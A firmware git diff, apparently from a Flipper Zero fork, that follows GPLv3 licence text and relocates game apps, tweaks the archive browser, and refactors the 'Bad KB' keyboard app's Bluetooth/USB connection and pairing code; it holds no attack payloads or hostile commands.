supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/applications/plugins/yatzee/application.fam b/applications/external/yatzee/application.fam similarity index 100% rename from applications/plugins/yatzee/application.fam rename to applications/external/yatzee/application.fam diff --git a/applications/plugins/yatzee/images/die_1.png b/applications/external/yatzee/images/die_1.png similarity index 100% rename from applications/plugins/yatzee/images/die_1.png rename to applications/external/yatzee/images/die_1.png diff --git a/applications/plugins/yatzee/images/die_2.png b/applications/external/yatzee/images/die_2.png similarity index 100% rename from applications/plugins/yatzee/images/die_2.png rename to applications/external/yatzee/images/die_2.png diff --git a/applications/plugins/yatzee/images/die_3.png b/applications/external/yatzee/images/die_3.png similarity index 100% rename from applications/plugins/yatzee/images/die_3.png rename to applications/external/yatzee/images/die_3.png diff --git a/applications/plugins/yatzee/images/die_4.png b/applications/external/yatzee/images/die_4.png similarity index 100% rename from applications/plugins/yatzee/images/die_4.png rename to applications/external/yatzee/images/die_4.png diff --git a/applications/plugins/yatzee/images/die_5.png b/applications/external/yatzee/images/die_5.png similarity index 100% rename from applications/plugins/yatzee/images/die_5.png rename to applications/external/yatzee/images/die_5.png diff --git a/applications/plugins/yatzee/images/die_6.png b/applications/external/yatzee/images/die_6.png similarity index 100% rename from applications/plugins/yatzee/images/die_6.png rename to applications/external/yatzee/images/die_6.png diff --git a/applications/plugins/yatzee/images/yatzee_icon_10px.png b/applications/external/yatzee/images/yatzee_icon_10px.png similarity index 100% rename from applications/plugins/yatzee/images/yatzee_icon_10px.png rename to applications/external/yatzee/images/yatzee_icon_10px.png diff --git a/applications/plugins/yatzee/yatzee.c b/applications/external/yatzee/yatzee.c similarity index 100% rename from applications/plugins/yatzee/yatzee.c rename to applications/external/yatzee/yatzee.c diff --git a/applications/plugins/zombiez/application.fam b/applications/external/zombiez/application.fam similarity index 87% rename from applications/plugins/zombiez/application.fam rename to applications/external/zombiez/application.fam index 3245187d2..069e591bc 100644 --- a/applications/plugins/zombiez/application.fam +++ b/applications/external/zombiez/application.fam @@ -3,7 +3,6 @@ App( name="Zombiez", apptype=FlipperAppType.EXTERNAL, entry_point="zombiez_game_app", - cdefines=["APP_ZOMBIEZ_GAME"], requires=["gui"], stack_size=2 * 1024, order=280, diff --git a/applications/plugins/zombiez/zombie_10px.png b/applications/external/zombiez/zombie_10px.png similarity index 100% rename from applications/plugins/zombiez/zombie_10px.png rename to applications/external/zombiez/zombie_10px.png diff --git a/applications/plugins/zombiez/zombiez.c b/applications/external/zombiez/zombiez.c similarity index 100% rename from applications/plugins/zombiez/zombiez.c rename to applications/external/zombiez/zombiez.c diff --git a/applications/plugins/zombiez/zombiez.h b/applications/external/zombiez/zombiez.h similarity index 100% rename from applications/plugins/zombiez/zombiez.h rename to applications/external/zombiez/zombiez.h diff --git a/applications/main/application.fam b/applications/main/application.fam index 459a878ed..006670947 100644 --- a/applications/main/application.fam +++ b/applications/main/application.fam @@ -5,14 +5,15 @@ App( provides=[ "fap_loader", "subghz", - "subghz_remote", "lfrfid", "nfc", "infrared", "gpio", + "onewire", "ibutton", "bad_kb", "u2f", + "xtreme_app", "archive", ], ) diff --git a/applications/main/archive/application.fam b/applications/main/archive/application.fam index 309cee8d5..c7e701653 100644 --- a/applications/main/archive/application.fam +++ b/applications/main/archive/application.fam @@ -6,6 +6,5 @@ App( cdefines=["APP_ARCHIVE"], requires=["gui"], stack_size=6 * 1024, - icon="A_FileManager_14", order=0, ) diff --git a/applications/main/archive/helpers/archive_browser.c b/applications/main/archive/helpers/archive_browser.c index f93d9694d..8555dca42 100644 --- a/applications/main/archive/helpers/archive_browser.c +++ b/applications/main/archive/helpers/archive_browser.c @@ -498,8 +498,10 @@ void archive_switch_tab(ArchiveBrowserView* browser, InputKey key) { tab = archive_get_tab(browser); if(archive_is_dir_exists(browser->path)) { bool skip_assets = (strcmp(archive_get_tab_ext(tab), "*") == 0) ? false : true; - // Hide dot files everywhere except Browser - bool hide_dot_files = (strcmp(archive_get_tab_ext(tab), "*") == 0) ? false : true; + // Hide dot files everywhere except Browser if in debug mode + bool hide_dot_files = (strcmp(archive_get_tab_ext(tab), "*") == 0) ? + !furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug) : + true; archive_file_browser_set_path( browser, browser->path, archive_get_tab_ext(tab), skip_assets, hide_dot_files); tab_empty = false; // Empty check will be performed later diff --git a/applications/main/archive/helpers/archive_favorites.c b/applications/main/archive/helpers/archive_favorites.c index f395ee5a1..7304be6b4 100644 --- a/applications/main/archive/helpers/archive_favorites.c +++ b/applications/main/archive/helpers/archive_favorites.c @@ -140,6 +140,13 @@ bool archive_favorites_read(void* context) { bool result = storage_file_open(file, ARCHIVE_FAV_PATH, FSAM_READ, FSOM_OPEN_EXISTING); + if(!result) { + storage_file_close(file); + storage_common_copy(storage, ARCHIVE_FAV_OLD_PATH, ARCHIVE_FAV_PATH); + storage_common_remove(storage, ARCHIVE_FAV_OLD_PATH); + result = storage_file_open(file, ARCHIVE_FAV_PATH, FSAM_READ, FSOM_OPEN_EXISTING); + } + if(result) { while(1) { if(!archive_favorites_read_line(file, buffer)) { diff --git a/applications/main/archive/helpers/archive_favorites.h b/applications/main/archive/helpers/archive_favorites.h index db8943378..e45af92e7 100644 --- a/applications/main/archive/helpers/archive_favorites.h +++ b/applications/main/archive/helpers/archive_favorites.h @@ -2,8 +2,9 @@ #include -#define ARCHIVE_FAV_PATH ANY_PATH("favorites.txt") -#define ARCHIVE_FAV_TEMP_PATH ANY_PATH("favorites.tmp") +#define ARCHIVE_FAV_OLD_PATH EXT_PATH("favorites.txt") +#define ARCHIVE_FAV_PATH CFG_PATH("favorites.txt") +#define ARCHIVE_FAV_TEMP_PATH CFG_PATH("favorites.tmp") uint16_t archive_favorites_count(void* context); bool archive_favorites_read(void* context); diff --git a/applications/main/archive/helpers/archive_files.h b/applications/main/archive/helpers/archive_files.h index 431c701b3..e4bed3a63 100644 --- a/applications/main/archive/helpers/archive_files.h +++ b/applications/main/archive/helpers/archive_files.h @@ -93,7 +93,9 @@ static int ArchiveFile_t_cmp(const ArchiveFile_t* a, const ArchiveFile_t* b) { } } - return furi_string_cmpi(a->path, b->path); + return furi_string_cmpi( + furi_string_empty(a->custom_name) ? a->path : a->custom_name, + furi_string_empty(b->custom_name) ? b->path : b->custom_name); } #define M_OPL_ArchiveFile_t() \ diff --git a/applications/main/archive/scenes/archive_scene_browser.c b/applications/main/archive/scenes/archive_scene_browser.c index 0696647ea..8d606cf09 100644 --- a/applications/main/archive/scenes/archive_scene_browser.c +++ b/applications/main/archive/scenes/archive_scene_browser.c @@ -14,12 +14,12 @@ static const char* flipper_app_name[] = { [ArchiveFileTypeIButton] = "iButton", [ArchiveFileTypeNFC] = "NFC", - [ArchiveFileTypeSubGhz] = "Sub-GHz", - [ArchiveFileTypeLFRFID] = "125 kHz RFID", + [ArchiveFileTypeSubGhz] = "SubGHz", + [ArchiveFileTypeLFRFID] = "RFID", [ArchiveFileTypeInfrared] = "Infrared", [ArchiveFileTypeBadKb] = "Bad KB", [ArchiveFileTypeU2f] = "U2F", - [ArchiveFileTypeApplication] = "Applications", + [ArchiveFileTypeApplication] = "Apps", [ArchiveFileTypeUpdateManifest] = "UpdaterApp", }; diff --git a/applications/main/archive/views/archive_browser_view.c b/applications/main/archive/views/archive_browser_view.c index 59c20ce6b..994290a3c 100644 --- a/applications/main/archive/views/archive_browser_view.c +++ b/applications/main/archive/views/archive_browser_view.c @@ -300,7 +300,8 @@ static void draw_list(Canvas* canvas, ArchiveBrowserViewModel* model) { ((scrollbar ? MAX_LEN_PX - 6 : MAX_LEN_PX) - x_offset), str_buf, scroll_counter, - (model->item_idx != idx)); + (model->item_idx != idx), + false); furi_string_free(str_buf); } diff --git a/applications/main/bad_kb/bad_kb_app.c b/applications/main/bad_kb/bad_kb_app.c index 5c095c2f0..251181554 100644 --- a/applications/main/bad_kb/bad_kb_app.c +++ b/applications/main/bad_kb/bad_kb_app.c @@ -1,4 +1,4 @@ -#include "bad_kb_app_i.h" +#include "bad_kb_app.h" #include "bad_kb_settings_filename.h" #include #include @@ -72,6 +72,94 @@ static void bad_kb_save_settings(BadKbApp* app) { storage_file_free(settings_file); } +void bad_kb_reload_worker(BadKbApp* app) { + bad_kb_script_close(app->bad_kb_script); + app->bad_kb_script = bad_kb_script_open(app->file_path, app->is_bt ? app->bt : NULL); + bad_kb_script_set_keyboard_layout(app->bad_kb_script, app->keyboard_layout); +} + +void bad_kb_config_switch_mode(BadKbApp* app) { + scene_manager_previous_scene(app->scene_manager); + if(app->is_bt) { + furi_hal_bt_start_advertising(); + } else { + furi_hal_bt_stop_advertising(); + } + scene_manager_next_scene(app->scene_manager, BadKbSceneConfig); + bad_kb_reload_worker(app); +} + +void bad_kb_config_switch_remember_mode(BadKbApp* app) { + if(app->bt_remember) { + // set bouding mac + uint8_t mac[6] = BAD_KB_BOUND_MAC_ADDRESS; + furi_hal_bt_set_profile_pairing_method( + FuriHalBtProfileHidKeyboard, GapPairingPinCodeVerifyYesNo); + bt_set_profile_mac_address(app->bt, mac); // this also restart bt + // enable keys storage + bt_enable_peer_key_update(app->bt); + } else { + // set back user defined mac address + furi_hal_bt_set_profile_pairing_method(FuriHalBtProfileHidKeyboard, GapPairingNone); + bt_set_profile_mac_address(app->bt, app->mac); + // disable key storage + bt_disable_peer_key_update(app->bt); + } + bad_kb_reload_worker(app); +} + +int32_t bad_kb_connection_init(BadKbApp* app) { + app->usb_prev_mode = furi_hal_usb_get_config(); + furi_hal_usb_set_config(NULL, NULL); + + bt_timeout = bt_hid_delays[LevelRssi39_0]; + bt_disconnect(app->bt); + // furi_delay_ms(200); + bt_keys_storage_set_storage_path(app->bt, BAD_KB_APP_PATH_BOUND_KEYS_FILE); + app->bt_prev_mode = furi_hal_bt_get_profile_pairing_method(FuriHalBtProfileHidKeyboard); + if(app->bt_remember) { + uint8_t mac[6] = BAD_KB_BOUND_MAC_ADDRESS; + furi_hal_bt_set_profile_mac_addr(FuriHalBtProfileHidKeyboard, mac); + // using GapPairingNone breaks bounding between devices + furi_hal_bt_set_profile_pairing_method( + FuriHalBtProfileHidKeyboard, GapPairingPinCodeVerifyYesNo); + } else { + furi_hal_bt_set_profile_pairing_method(FuriHalBtProfileHidKeyboard, GapPairingNone); + } + + bt_set_profile(app->bt, BtProfileHidKeyboard); + if(app->is_bt) { + furi_hal_bt_start_advertising(); + if(app->bt_remember) { + bt_enable_peer_key_update(app->bt); + } else { + bt_disable_peer_key_update(app->bt); // disable peer key adding to bt SRAM storage + } + } else { + furi_hal_bt_stop_advertising(); + } + + return 0; +} + +void bad_kb_connection_deinit(BadKbApp* app) { + furi_hal_usb_set_config(app->usb_prev_mode, NULL); + + // bt_hid_hold_while_keyboard_buffer_full(6, 3000); // release all keys + bt_disconnect(app->bt); // stop ble + // furi_delay_ms(200); // Wait 2nd core to update nvm storage + bt_keys_storage_set_default_path(app->bt); + if(app->bt_remember) { + // hal primitives doesn't restarts ble, that's what we want cuz we are shutting down + furi_hal_bt_set_profile_mac_addr(FuriHalBtProfileHidKeyboard, app->mac); + } + bt_enable_peer_key_update(app->bt); // starts saving peer keys (bounded devices) + // fails if ble radio stack isn't ready when switching profile + // if it happens, maybe we should increase the delay after bt_disconnect + bt_set_profile(app->bt, BtProfileSerial); + furi_hal_bt_set_profile_pairing_method(FuriHalBtProfileHidKeyboard, app->bt_prev_mode); +} + BadKbApp* bad_kb_app_alloc(char* arg) { BadKbApp* app = malloc(sizeof(BadKbApp)); @@ -125,16 +213,9 @@ BadKbApp* bad_kb_app_alloc(char* arg) { view_dispatcher_add_view( app->view_dispatcher, BadKbAppViewError, widget_get_view(app->widget)); - app->var_item_list_bt = variable_item_list_alloc(); + app->var_item_list = variable_item_list_alloc(); view_dispatcher_add_view( - app->view_dispatcher, - BadKbAppViewConfigBt, - variable_item_list_get_view(app->var_item_list_bt)); - app->var_item_list_usb = variable_item_list_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - BadKbAppViewConfigUsb, - variable_item_list_get_view(app->var_item_list_usb)); + app->view_dispatcher, BadKbAppViewConfig, variable_item_list_get_view(app->var_item_list)); app->bad_kb_view = bad_kb_alloc(); view_dispatcher_add_view( @@ -188,10 +269,8 @@ void bad_kb_app_free(BadKbApp* app) { widget_free(app->widget); // Variable item list - view_dispatcher_remove_view(app->view_dispatcher, BadKbAppViewConfigBt); - variable_item_list_free(app->var_item_list_bt); - view_dispatcher_remove_view(app->view_dispatcher, BadKbAppViewConfigUsb); - variable_item_list_free(app->var_item_list_usb); + view_dispatcher_remove_view(app->view_dispatcher, BadKbAppViewConfig); + variable_item_list_free(app->var_item_list); // Text Input view_dispatcher_remove_view(app->view_dispatcher, BadKbAppViewConfigName); diff --git a/applications/main/bad_kb/bad_kb_app.h b/applications/main/bad_kb/bad_kb_app.h index af64be253..6aa133963 100644 --- a/applications/main/bad_kb/bad_kb_app.h +++ b/applications/main/bad_kb/bad_kb_app.h @@ -1,11 +1,92 @@ #pragma once -#ifdef __cplusplus -extern "C" { -#endif +#include "bad_kb_app.h" +#include "scenes/bad_kb_scene.h" +#include "helpers/ducky_script.h" -typedef struct BadKbApp BadKbApp; +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "views/bad_kb_view.h" -#ifdef __cplusplus -} -#endif +#define BAD_KB_APP_BASE_FOLDER EXT_PATH("badkb") +#define BAD_KB_APP_PATH_LAYOUT_FOLDER BAD_KB_APP_BASE_FOLDER "/assets/layouts" +#define BAD_KB_APP_SCRIPT_EXTENSION ".txt" +#define BAD_KB_APP_LAYOUT_EXTENSION ".kl" + +#define BAD_KB_MAC_ADDRESS_LEN 6 // need replace with MAC size maccro +#define BAD_KB_ADV_NAME_MAX_LEN 18 + +// this is the MAC address used when we do not forget paired device (BOUND STATE) +#define BAD_KB_BOUND_MAC_ADDRESS {0x41, 0x4a, 0xef, 0xb6, 0xa9, 0xd4}; + +typedef enum { + BadKbAppErrorNoFiles, + BadKbAppErrorCloseRpc, +} BadKbAppError; + +typedef enum BadKbCustomEvent { + BadKbAppCustomEventTextEditResult, + BadKbAppCustomEventByteInputDone, + BadKbCustomEventErrorBack +} BadKbCustomEvent; + +typedef struct { + //uint8_t bounded_mac[BAD_KB_MAC_ADDRESS_LEN]; + uint8_t mac[BAD_KB_MAC_ADDRESS_LEN]; + char name[BAD_KB_ADV_NAME_MAX_LEN + 1]; +} BadKbBtConfig; + +typedef struct { + Gui* gui; + ViewDispatcher* view_dispatcher; + SceneManager* scene_manager; + NotificationApp* notifications; + DialogsApp* dialogs; + Widget* widget; + VariableItemList* var_item_list; + + Bt* bt; + TextInput* text_input; + ByteInput* byte_input; + uint8_t mac[BAD_KB_MAC_ADDRESS_LEN]; + char name[BAD_KB_ADV_NAME_MAX_LEN + 1]; + bool bt_remember; // weither we remember paired devices or not + BadKbBtConfig bt_old_config; + + BadKbAppError error; + FuriString* file_path; + FuriString* keyboard_layout; + BadKb* bad_kb_view; + BadKbScript* bad_kb_script; + + bool is_bt; + + FuriHalUsbInterface* usb_prev_mode; + GapPairing bt_prev_mode; + + FuriThread* conn_init_thread; +} BadKbApp; + +typedef enum { + BadKbAppViewError, + BadKbAppViewWork, + BadKbAppViewConfig, + BadKbAppViewConfigMac, + BadKbAppViewConfigName +} BadKbAppView; + +void bad_kb_config_switch_mode(BadKbApp* app); + +void bad_kb_config_switch_remember_mode(BadKbApp* app); + +int32_t bad_kb_connection_init(BadKbApp* app); + +void bad_kb_connection_deinit(BadKbApp* app); diff --git a/applications/main/bad_kb/bad_kb_app_i.h b/applications/main/bad_kb/bad_kb_app_i.h deleted file mode 100644 index 8a8a166d5..000000000 --- a/applications/main/bad_kb/bad_kb_app_i.h +++ /dev/null @@ -1,88 +0,0 @@ -#pragma once - -#include "bad_kb_app.h" -#include "scenes/bad_kb_scene.h" -#include "bad_kb_script.h" - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "views/bad_kb_view.h" - -#define BAD_KB_APP_BASE_FOLDER EXT_PATH("badkb") -#define BAD_KB_APP_PATH_LAYOUT_FOLDER BAD_KB_APP_BASE_FOLDER "/assets/layouts" -#define BAD_KB_APP_PATH_BOUND_KEYS_FOLDER EXT_PATH("badkb/.bt_keys") -#define BAD_KB_APP_PATH_BOUND_KEYS_FILE BAD_KB_APP_PATH_BOUND_KEYS_FOLDER "/.devices.keys" -#define BAD_KB_APP_SCRIPT_EXTENSION ".txt" -#define BAD_KB_APP_LAYOUT_EXTENSION ".kl" - -#define BAD_KB_MAC_ADDRESS_LEN 6 // need replace with MAC size maccro -#define BAD_KB_ADV_NAME_MAX_LEN 18 - -// this is the MAC address used when we do not forget paired device (BOUND STATE) -#define BAD_KB_BOUND_MAC_ADDRESS {0x41, 0x4a, 0xef, 0xb6, 0xa9, 0xd4}; - -typedef enum { - BadKbAppErrorNoFiles, - BadKbAppErrorCloseRpc, -} BadKbAppError; - -typedef enum BadKbCustomEvent { - BadKbAppCustomEventTextEditResult, - BadKbAppCustomEventByteInputDone, - BadKbCustomEventErrorBack -} BadKbCustomEvent; - -typedef struct { - //uint8_t bounded_mac[BAD_KB_MAC_ADDRESS_LEN]; - uint8_t mac[BAD_KB_MAC_ADDRESS_LEN]; - char name[BAD_KB_ADV_NAME_MAX_LEN + 1]; -} BadKbBtConfig; - -struct BadKbApp { - Gui* gui; - ViewDispatcher* view_dispatcher; - SceneManager* scene_manager; - NotificationApp* notifications; - DialogsApp* dialogs; - Widget* widget; - VariableItemList* var_item_list_bt; - VariableItemList* var_item_list_usb; - - Bt* bt; - TextInput* text_input; - ByteInput* byte_input; - uint8_t mac[BAD_KB_MAC_ADDRESS_LEN]; - char name[BAD_KB_ADV_NAME_MAX_LEN + 1]; - bool bt_remember; // weither we remember paired devices or not - BadKbBtConfig bt_old_config; - - BadKbAppError error; - FuriString* file_path; - FuriString* keyboard_layout; - BadKb* bad_kb_view; - BadKbScript* bad_kb_script; - - bool is_bt; - - FuriHalUsbInterface* usb_prev_mode; - GapPairing bt_prev_mode; - - FuriThread* conn_init_thread; -}; - -typedef enum { - BadKbAppViewError, - BadKbAppViewWork, - BadKbAppViewConfigBt, - BadKbAppViewConfigUsb, - BadKbAppViewConfigMac, - BadKbAppViewConfigName -} BadKbAppView; diff --git a/applications/main/bad_kb/bad_kb_settings_filename.h b/applications/main/bad_kb/bad_kb_settings_filename.h index 3eb7d3c0a..42de4878a 100644 --- a/applications/main/bad_kb/bad_kb_settings_filename.h +++ b/applications/main/bad_kb/bad_kb_settings_filename.h @@ -1,3 +1,7 @@ #pragma once +#include + #define BAD_KB_SETTINGS_FILE_NAME ".badkb.settings" +#define BAD_KB_APP_PATH_BOUND_KEYS_FOLDER EXT_PATH("badkb/.bt_keys") +#define BAD_KB_APP_PATH_BOUND_KEYS_FILE BAD_KB_APP_PATH_BOUND_KEYS_FOLDER "/.devices.keys" diff --git a/applications/main/bad_kb/bad_kb_script.c b/applications/main/bad_kb/helpers/ducky_script.c similarity index 60% rename from applications/main/bad_kb/bad_kb_script.c rename to applications/main/bad_kb/helpers/ducky_script.c index f6b65247d..6b212a68d 100644 --- a/applications/main/bad_kb/bad_kb_script.c +++ b/applications/main/bad_kb/helpers/ducky_script.c @@ -5,43 +5,19 @@ #include #include #include -#include -#include "bad_kb_script.h" -#include - #include - -#include "bad_kb_app_i.h" - -#define HID_BT_KEYS_STORAGE_PATH EXT_PATH("apps/Tools/.bt_hid.keys") +#include +#include "ducky_script.h" +#include 